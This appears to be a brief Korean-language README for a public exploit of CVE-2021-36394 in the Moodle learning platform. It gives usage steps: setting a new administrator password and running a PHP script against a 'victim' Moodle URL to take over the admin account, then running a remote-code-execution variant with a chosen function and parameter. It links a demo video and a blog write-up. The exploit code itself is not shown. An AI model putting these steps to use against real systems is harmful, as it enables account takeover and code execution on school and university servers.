CVE-2021-36394

테이블 업데이트 또는 관리자 비밀번호 변경:

사용자 지정 코드 $newpassword = "Accounttakedover123"; 그런 다음 실행:

$ CVE2021-36394.php http://victim/path_to_moodle

함수 실행

사용자 지정 코드 $function = "header"; $param = "Hacked: by0d0ff9";

그런 다음 실행:

$ CVE2021-36394_RCE.php http://victim/path_to_moodle

데모: https://www.youtube.com/watch?v=rn4ENyASWe8

블로그: https://0xd0ff9.wordpress.com/2021/08/28/cve-2021-36394-hack-truong-sua-diem-cac-kieu/